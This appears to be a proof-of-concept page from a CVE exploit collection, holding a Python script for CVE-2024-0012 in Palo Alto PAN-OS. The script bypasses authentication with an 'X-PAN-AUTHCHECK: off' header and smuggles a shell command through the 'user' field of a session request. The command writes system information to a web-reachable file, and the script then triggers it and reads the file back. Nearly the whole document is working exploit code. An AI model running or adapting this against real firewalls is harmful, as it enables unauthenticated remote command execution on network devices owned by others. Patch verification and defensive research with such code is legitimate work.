4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / cve-2024-0012-pan-os-poc.py PY
#POC is written by Chirag Artani
import requests
import argparse
from urllib.parse import urljoin
import logging
import urllib3
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def setup_logging():
    logging.basicConfig(
        level=logging.INFO,
        format='%(asctime)s - %(levelname)s - %(message)s'
    )

class VulnChecker:
    def __init__(self, base_url, verify_ssl=False, timeout=30):
        self.base_url = base_url
        self.verify_ssl = verify_ssl
        self.timeout = timeout
        self.session = requests.Session()
        
        if not verify_ssl:
            urllib3.disable_warnings(InsecureRequestWarning)
            self.session.verify = False
    
    def make_request(self, method, endpoint, **kwargs):
        try:
            url = urljoin(self.base_url, endpoint)
            kwargs['timeout'] = self.timeout
            kwargs['verify'] = self.verify_ssl
            
            response = self.session.request(method, url, **kwargs)
            response.raise_for_status()
            return response
            
        except requests.exceptions.SSLError as e:
            logging.error(f"SSL Error: {str(e)}")
            logging.info("Try using --no-verify if the target uses self-signed certificates")
            return None
        except requests.exceptions.RequestException as e:
            logging.error(f"Request failed: {str(e)}")
            return None

    def create_initial_session(self):
        """Create initial session with command injection payload"""
        headers = {
            'X-PAN-AUTHCHECK': 'off',
            'Content-Type': 'application/x-www-form-urlencoded'
        }
        
        # Command injection payload to write system info to file
        data = {
            'user': '`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`',
            'userRole': 'superuser',
            'remoteHost': '',
            'vsys': 'vsys1'
        }
        
        response = self.make_request(
            'POST',
            '/php/utils/createRemoteAppwebSession.php/watchTowr.js.map',
            headers=headers,
            data=data
        )
        
        if response and 'PHPSESSID' in response.cookies:
            phpsessid = response.cookies['PHPSESSID']
            logging.info(f"Initial session created: {phpsessid}")
            return phpsessid
        return None

    def trigger_execution(self, phpsessid):
        """Trigger command execution via index page"""
        headers = {
            'Cookie': f'PHPSESSID={phpsessid}',
            'X-PAN-AUTHCHECK': 'off',
            'Connection': 'keep-alive'
        }
        
        response = self.make_request(
            'GET',
            '/index.php/.js.map',
            headers=headers
        )
        
        if response:
            logging.info(f"Trigger response status: {response.status_code}")
            if response.text:
                logging.info(f"Response content length: {len(response.text)}")
            return True
        return False

    def verify_execution(self):
        """Verify command execution by checking created file"""
        response = self.make_request(
            'GET',
            '/unauth/watchTowr.php'
        )
        
        if response and response.status_code == 200:
            logging.info("Command execution verified")
            if response.text:
                logging.info(f"System info: {response.text.strip()}")
            return True
        return False

def main():
    parser = argparse.ArgumentParser(description='Vulnerability Check Script')
    parser.add_argument('--url', required=True, help='Target base URL (http:// or https://)')
    parser.add_argument('--no-verify', action='store_true', help='Disable SSL verification')
    parser.add_argument('--timeout', type=int, default=30, help='Request timeout in seconds')
    args = parser.parse_args()
    
    setup_logging()
    logging.info(f"Starting vulnerability check against {args.url}")
    
    checker = VulnChecker(
        args.url,
        verify_ssl=not args.no_verify,
        timeout=args.timeout
    )
    
    # Step 1: Create session with command injection payload
    phpsessid = checker.create_initial_session()
    if not phpsessid:
        logging.error("Session creation failed")
        return
    
    # Step 2: Trigger command execution
    if checker.trigger_execution(phpsessid):
        logging.info("Command execution triggered successfully")
        
        # Step 3: Verify the result
        if checker.verify_execution():
            logging.info("Verification completed successfully")
        else:
            logging.error("Verification failed - file not created or accessible")
    else:
        logging.error("Command execution trigger failed")

if __name__ == "__main__":
    main()